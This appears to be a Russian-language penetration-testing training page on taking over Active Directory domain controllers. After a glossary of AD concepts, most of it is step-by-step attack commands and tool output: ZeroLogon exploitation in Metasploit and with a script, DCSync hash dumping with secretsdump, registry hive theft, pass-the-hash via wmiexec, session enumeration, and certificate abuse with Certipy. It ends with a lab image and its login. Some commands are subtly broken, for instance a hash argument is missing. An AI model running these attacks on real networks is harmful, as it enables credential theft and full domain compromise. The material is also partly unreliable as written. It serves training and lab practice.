Захват домена Общая информация Каталог (Directory, хранилище данных) — в контексте компьютерной сети, иерархическая структура, хранящая информацию об объектах в сети. Объекты  - это серверы, общие тома и принтеры, учетные записи пользователей, рабочие станции, домены, приложения, службы, политики безопасности и почти все остальное в вашей сети. Служба каталогов (Directory Service) — является как источником информации каталога, так и службой, делающей информацию доступной и полезной для администраторов, пользователей, сетевых служб и приложений. Active Directory™, служба каталогов, которая хранит информацию о сетевых объектах, а также реализует службы, которые делают эту информацию доступной и полезной для пользователей, компьютеров и приложений. Объекты (Objects) — это сущности, составляющие сеть, отдельный именованный набор атрибутов, представляющий что-то конкретное, например, пользователя, принтер или приложение. Схема (Schema) — это описание классов объектов (различных типов объектов) и атрибутов для этих классов объектов. Для каждого класса объектов схема определяет атрибуты, которые должен иметь этот класс объектов, дополнительные атрибуты, которые он может иметь, и класс объектов, который может быть его родителем. Каждый объект Active Directory является экземпляром класса объекта. Каждый атрибут определяется только один раз и может использоваться в нескольких классах. Например, атрибут Description определяется один раз, но используется во многих различных классах. Домены — это объекты-контейнеры, или набор административно определенных объектов, которые имеют общую базу данных каталога, политики безопасности и доверительные отношения с другими доменами. Таким образом, каждый домен является административной границей для объектов. Один домен может охватывать несколько физических мест или сайтов, и содержать миллионы объектов. Дерево домена (Domain Tree) — состоит из нескольких доменов, которые имеют общую схему и конфигурацию, образуя непрерывное пространство имен. Домены в дереве также связаны между собой доверительными отношениями. Active Directory представляет собой набор из одного или нескольких деревьев. Лес (Forest) — это набор из одного или нескольких деревьев доменов, которые не образуют непрерывное пространство имен. Все деревья в лесу имеют общую схему, конфигурацию и глобальный каталог. Все деревья в данном лесу обмениваются доверием в соответствии с транзитивными иерархическими отношениями доверия Kerberos. В отличие от деревьев, лес не требует отдельного имени. Лес существует как набор объектов перекрестных ссылок и доверительных отношений Kerberos, распознаваемых входящими в него деревьями. Деревья в лесу образуют иерархию для целей доверия Kerberos. Имя дерева в корне дерева доверия относится к данному лесу. Доверительные отношения (Trust Relationship) — это отношения, установленные между двумя доменами, которые позволяют пользователям одного домена быть распознанными контроллером домена в другом домене. Доверительные отношения позволяют пользователям получать доступ к ресурсам в другом домене, а также позволяют администраторам управлять правами пользователей в другом домене.  На уровне леса доверительные отношения создаются автоматически между корневым доменом леса и корневым доменом каждого дерева доменов, добавленного в лес, в результате чего между всеми доменами в лесу Active Directory существует полное доверие. Захват домена - получение уровня доступа управления контроллером домена из под учетной записи, которая имеет соответствующие права. Способы захвата контроллер домена Эксплуатация уязвимости в контроллере домена. Кража учетных данных, токенов и сессий привилегированных учетных записей. Эксплуатация мисконфигураций сервисов в AD, предоставляющих доступ от имени привилегированных учетных записей. По умолчанию наивысшие права в домене имеет учетная запись из группы Enterprise Admins. Администраторы предприятия (Enterprise Admins) — это встроенная группа, находится в контейнере Users корневого домена леса, которая по умолчанию имеет административный доступ ко всем доменам в лесу. Enterprise Admins представляет полный доступ к конфигурации всех контроллеров домена. Существует очень мало задач, требующих использования учетной записи Enterprise Admins.  Администраторы (Administrators) – находится в контейнере Builtin каждого домена. Эта группа имеет полный доступ ко всем контроллерам домена и данным в контексте именования домена. Она может изменять членство во всех административных группах домена, а группа Администраторы (Administrators) в корневом домене леса может изменять членство в группах Администраторы предприятия (Enterprise Admins), Администраторы Схемы (Schema Admins) и Администраторы домена (Domain Admins).  Администраторы домена (Domain Admins) – находятся в контейнере Users каждого домена. Эта группа входит в группу Администраторы своего домена. Поэтому она наследует все полномочия группы Администраторы. Кроме того, она по умолчанию входит в локальную группу Администраторы каждого рядового компьютера домена, в результате чего администраторы домена получают в свое распоряжение все компьютеры домена. Возможности групп Администраторов Получив права доступа в одной из этих групп, мы можем управлять конфигурацией Домена или даже Леса. Мы можем получить доступ или изменить любые данные учетных записей, машин, сервисов и пр. А также управлять любой машиной в домене и любой учетной записью. Также можем выгрузить все секреты, ключи, хеши пользователей и пр. учетных записей из контроллера домена и пользоваться ими для создания токенов доступа или входа в машины. Для эксплуатации такой возможности зачастую используется утилита SecretsDump.py пакета Impacket, выполняющая атаку под названием DCSync Attack. DCSync Attack Разрешение DCSync подразумевает наличие таких разрешений на сам домен: DS-Replication-Get-Changes, Replicating Directory Changes All и Replicating Directory Changes In Filtered Set. Важные замечания о DCSync: Атака DCSync имитирует поведение контроллера домена и просит другие контроллеры домена реплицировать информацию с помощью протокола Directory Replication Service Remote Protocol (MS-DRSR). Поскольку MS-DRSR является действительной и необходимой функцией Active Directory, его нельзя отключить или деактивировать. По умолчанию только администраторы домена, администраторы предприятия, администраторы и группы контроллеров домена имеют необходимые привилегии. SecretsDump Утилита secretsdump выполняет атаку DCSync Attack и выполняет различные техники для извлечения хэшей с удаленной машины без выполнения на ней какого-либо агента. Для SAM и LSA Secrets (включая кэшированные учетные данные) утилита пытается прочитать как можно больше из реестра, затем сохраняет хэши в целевой системе (%SYSTEMROOT%\\\Temp dir) и читает остальные данные оттуда. Для NTDS.dit:  Получает список пользователей домена и получает его хэши и ключи Kerberos, используя вызов [MS-DRDS] DRSGetNCChanges() , реплицируя только нужные нам атрибуты.  Извлекает NTDS.dit через vssadmin, выполненный с помощью smbexec. Он копируется на temp dir и разбирается удаленно. Пример выполнения команды:  python3 secretsdump.py test.local/john:password123@10.10.10.1 Файл ntds.dit представляет собой базу данных, в которой хранится информация Active Directory, такая, как сведения о пользователях, группах и членстве в группах. База также включает хеши паролей для всех пользователей в домене.   Пример захвата управления Есть доступ к машине с ОС Windows, задача — взломать контроллер домена, извлечь данные объектов домена и закрепить доступ в домене. Ход действий 1. Проведем сканирование сервера с помощью nmap:  nmap -Pn -n -F -v --open 192.168.0.117 Список портов типичен для контроллера домена: помимо стандартных для Windows портов SMB, MS-RPC и NetBIOS присутствует также DNS-сервер на порту 53, сервер используемого для авторизации в домене протокола Kerberos на 88 и протокол доступа к каталогам LDAP на 389. 2. Попробуем определить версию DNS-сервера с помощью сканирования SMB-порта с помощью скриптов nmap:  nmap -Pn -n -p 445 -sV -sC -v --open 192.168.0.117 Данная версия Windows Server, выполняющего роль контроллера домена, может быть подвержена ZeroLogon – уязвимости, позволяющей получить полный доступ к контроллеру домена без учетных данных. 3. Используем средства Metasploit Framework для проверки сервера на эту уязвимость:  msfconsole msf6> search zerologon msf6> use auxiliary/admin/dcerpc/cve_2020_1472_zerologon 4. Указываем IP сервера и его NetBIOS имя, ранее полученное при сканировании nmap, проверим и запустим эксплуатацию:  msf6> set RHOSTS 192.168.0.117 msf6> set NBNAME DC1 msf6> check msf6> run Данная техника эксплуатации приводит к установке пустого пароля машинного аккаунта контроллера домена, что может повлечь нарушение работы домена в целом. 5. Для корректной эксплуатации нам нужно сначала получить учетные данные администратора домена, а затем, используя их, восстановить старый пароль машинного аккаунта. Используем для этого impacket — набор инструментов для работы с протоколами сетевого и прикладного уровня в Python, позволяющего взаимодействовать с Windows-сетями из Linux и вести тестирование их безопасности.  locate impacket 6. Ключевым инструментом на этом шаге будет secretsdump – скрипт, используемый для получения учетных данных с удаленных Windows-компьютеров или локальных файлов реестра.  python3 /usr/lib/python3/dist-packages/impacket/examples/secretsdump.py impacket-secretsdump -h 7. Используем secretsdump для получения NTLM-хэша администратора домена. Ключ -just-dc-user позволяет получить хэш нужного нам пользователя, -no-pass указывает на то, что пароль машинного аккаунта пустой, sandbox.local – имя домена, DC1$ - имя машинной учетной записи, а IP 192.168.0.117 – адрес контроллера домена.  impacket-secretsdump -no-pass -just-dc-user administrator 'sandbox.local/DC1$@192.168.0.117' 8. Для восстановления пароля машинной учетной записи нам необходимо вытащить его из реестра Windows, для чего мы можем подключиться к контроллеру домена с помощью инструмента wmiexec, который используется для выполнения команд на удаленной системе Windows через WMI (Windows Management Instrumentation). 9. Укажем ранее полученный хэш администратора и проверим права после подключения:  $ impacket-wmiexec -hashes 'sandbox.local/administrator@192.168.0.117' C:\> whoami 10. Сохраним интересующие нас ветки реестра в отдельные файлы:  C:\> reg save HKLM\SYSTEM system.save C:\> reg save HKLM\SAM sam.save C:\> reg save HKLM\SECURITY security.save 11. Скачаем эти файлы на локальную машину:  C:\> lget system.save C:\> lget sam.save C:\> lget security.save И удалим их: C:\> del /f system.save security.save sam.save 12. Локально проанализируем эти файлы с помощью impacket-secretsdump:  impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL 13. Теперь, когда мы получили старый пароль машинного аккаунта из секретов LSA, мы можем вновь запустить эксплойт из msf, но уже в режиме восстановления пароля:  $ msfconsole msf6> use auxiliary/admin/dcerpc/cve_2020_1472_zerologon msf6> set RHOSTS 192.168.0.17 msf6> set NBNAME DC1 14. Опции при этом останутся прежними, кроме двух новых: ACTION – выбора действия и PASSWORD – значения пароля машинного аккаунта в HEX и восстановим пароль:  msf6> set ACTION RESTORE msf6> set PASSWORD <$MACHINE.ACC hex password> msf6> run 15. Убедимся, что доступ сохранился:  $ impacket-wmiexec -hashes 'sandbox.local/administrator@192.168.0.117'   Уязвимости Примеры уязвимостей PrinterNightmare ZeroLogon SamAccountNameSpoofing MS14-068 Drop The MIC (Во взаимодействии DC с DC) и пр. вплоть до MS17-010 Zerologon Zerologon — уязвимость CVE-2020-1472. Проблема Netlogon: вектор инициализации (IV), который должен был бы представлять собой случайное число, всегда состоит из одних нулей. Полный разбор эксплойта  тут Эксплуатация 1. Сброс пароля при помощи эксплойта :  python3 cve-2020-1472-exploit.py -n 'DC01$' -t 10.10.0.1 2. Реализация атаки DCSync с пустым паролем:  python3 secretsdump.py -no-pass -just-dc 'domain.local/DC01$@10.10.0.1' 3. Получаем NT-хеш администратора с “относительным идентификатором” (relative identifier) RID 500 и используем его для получения доступа к управлению контроллером через WMI с помощью утилиты пакета Impacket: wmiexec.py:  python3 wmiexec.py -hashes 'domain.local/DC01$@10.10.0.1' После успешного изменения пароля DC сервер Active Directory работает некорректно. Чтобы DC продолжал нормально работать, необходимо переустановить исходный хэш пароля. 4. Создаем и скачиваем резервные копии реестра для восстановления пароля DC:  reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save lget system.save lget sam.save lget security.save del /f system.save del /f sam.save del /f security.save 5. Извлекаем пароль из извлеченных копий реестра:  python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL 6. Получаем пароль машины контроллера домена в строке: $MACHINE.ACC:plain_password_hex:b4d1.... 7. И инсталлируем хеш машины обратно:  python3 reinstall_original_pw.py DC-01$ 10.10.0.1 b4d1…. Кража учетных данных, токенов и сессий привилегированных учетных записей Распространен в сетях, незрелых с точки зрения ИБ. Пример Вы компрометируете машину в домене при помощи эксплойта и получаете доступ уровня NT Authority/System: Вы извлекаете учетные данные, ключи и токены доступа из скомпрометированной машины. Вы пытаетесь переиспользовать полученные доступы в рамках доступной вам сети, подключаясь с полученными данными к сервисам SMB, HTTP, MSSQL, RPC, WMI и пр. Вы обнаруживаете прочие машины, на которые у вас есть доступ уровня локального администратора. На скомпрометированных машинах вы вновь извлекаете учетные записи, секреты и токены доступа, уже новых для вас учетных записей. Так вы повторяете шаги, пока не получите учетные данные кого-либо из групп: Administrators, Domain Admins, Enterprise Admins. Как только вы получаете эти учетные записи, вы сможете получить доступ к контроллеру домена по WMI или SMB, или выполнить атаку DCSync. Привилегированные группы Есть группы, чьи привилегии позволяют нам получить доступ к группам первой тройки. Group Policy Creators Owners Account Operators Schema Admins Event Log Readers Backup Operators Remote Management Users Server Operators DnsAdmins Подробности использования   Сбор информации об объектах При таком подходе основное время уйдет на разведку в домене и энумерацию учетных записей.  Важные данные при сборе информации: Домен Доменные политики Домен контроллеры Пользователи Компьютеры Группы Групповые политики (GPO) Организационная единица (OU) Список управления доступом (ACL) Доверительные отношения (Trusts) Лес Сессии пользователей DNS Энумерация сессий При получении доменной учетной записи появится возможность обращаться к машинам в домене и узнавать, какие активные сессии находятся на машинах. Можно использовать netview пакета Impacket:  netview.py -target 192.168.1.10 username, где пароль необходимо будет ввести через строку ввода. Выгрузка всех машин домена и получение информации о актуальных сессиях.  netview.py domain.local/username Также извлекать информацию о сессиях на машинах в AD возможно при помощи фреймворка PowerSploit и утилиты PowerView:  Get-NetLoggedon -ComputerName Get-NetSession -ComputerName Get-LoggedOnLocal -ComputerName Get-LastLoggedon -ComputerName Get-NetRDPSession -ComputerName Сбор информации о пользователях и сессиях Инструменты разведки в Active Directory Windows:  Ручной анализ: ADModule, PowerView, RSAT, ADExplorer, LdapAdmin, ADIDNSRecords Автоматизированный анализ: ADExplorer, Bloodhound, ADRecon Linux: Ручной анализ: ldapper, ldapsearch, windapsearch, rpcclient, adidnsdump, jxplorer, ldeep Автоматизированный анализ: bloodhound-python, enum4linux, ldapdomaindump  BloodHound Ссылка на проект BloodHound использует теорию графов для выявления скрытых и часто непредусмотренных взаимосвязей в среде Active Directory или Azure.  Пентестеры могут использовать BloodHound для легкого выявления очень сложных путей атаки, которые иначе невозможно было бы быстро определить.  Защитники могут использовать BloodHound для выявления и устранения таких же путей атаки. Как "синие", так и "красные" команды могут использовать BloodHound для более глубокого понимания отношений привилегий в среде Active Directory или Azure. Миссконфигурация сервисов в AD Например: Вы взломали Linux машины, имеющую доступ в домен (это значит, что у нее есть машинная учетная запись в домене, и она хранится где-то в файловой системе). С высокой долей вероятности этот файл с названием *.ccache может лежать в папке /tmp/ или файл *.keytab в папке /etc Используя обнаруженный файл доменной машинной учетной записи, вы можете использовать его для атаки PassTheTicket и обратиться к какому либо из сервисов AD. Вы можете получить доступ в ActiveDirectory через протокол LDAP и узнать, какая машина отвечает за сервис AD CS (Active Directory Certificate Services) или же, получив доступ в Windows машине, в домене выполнить команду: certutil -config - -ping, для получения списка Certificate Authority. Далее, в случае некорректной настройки AD CS, вы можете, используя утилиту Certipy, попробовать выпустить себе сертификат по шаблону, который разрешает через аутентификацию клиента получателю сертификата указать произвольное альтернативное имя субъекта (SAN). Таким образом, вы сможете выпустить сертификат на имя администратора домена и воспользоваться им для получения доступа уровня администратора на контроллере домена. Certipy Certipy предназначена для автоматизации процесса генерации и управления сертификатами и ключами шифрования в сетевых приложениях на языке Python. Она предоставляет набор инструментов для создания и управления сертификатами X.509, которые могут быть использованы для обеспечения безопасной передачи данных через сети, например, для шифрования трафика HTTPS. Эксплуатация с Certipy Запрос сертификата по шаблону создания сертификата для другого пользователя:  $ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC1-Test -upn administrator@corp.local -dns dc.corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 780 [*] Got certificate with multiple identifications   UPN: 'administrator@corp.local'   DNS Host Name: 'dc.corp.local' [*] Certificate has no object SID [*] Saved certificate and private key to 'administrator_dc.pfx' Запрос TGT и получение NT хеша с использованием полученного ранее сертификата:  $ certipy auth -pfx administrator_dc.pfx -dc-ip 172.16.126.128 Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Found multiple identifications in certificate [*] Please select one:   [0] UPN: 'administrator@corp.local'   [1] DNS Host Name: 'dc.corp.local' > 1 [*] Using principal: dc$@corp.local [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'dc.ccache' [*] Trying to retrieve NT hash for 'dc$' [*] Got NT hash for 'dc$@corp.local': 36a50f712629962b3d5a3641529187b0 Дополнительные ресурсы Pass The Hash Lateral Movement Password Spraying   Практика Стенд:   WinServer2016.v2.7z  (зеркала:  Яндекс.Диск  и  OneDrive ) Логин: master Пароль: Qwerty123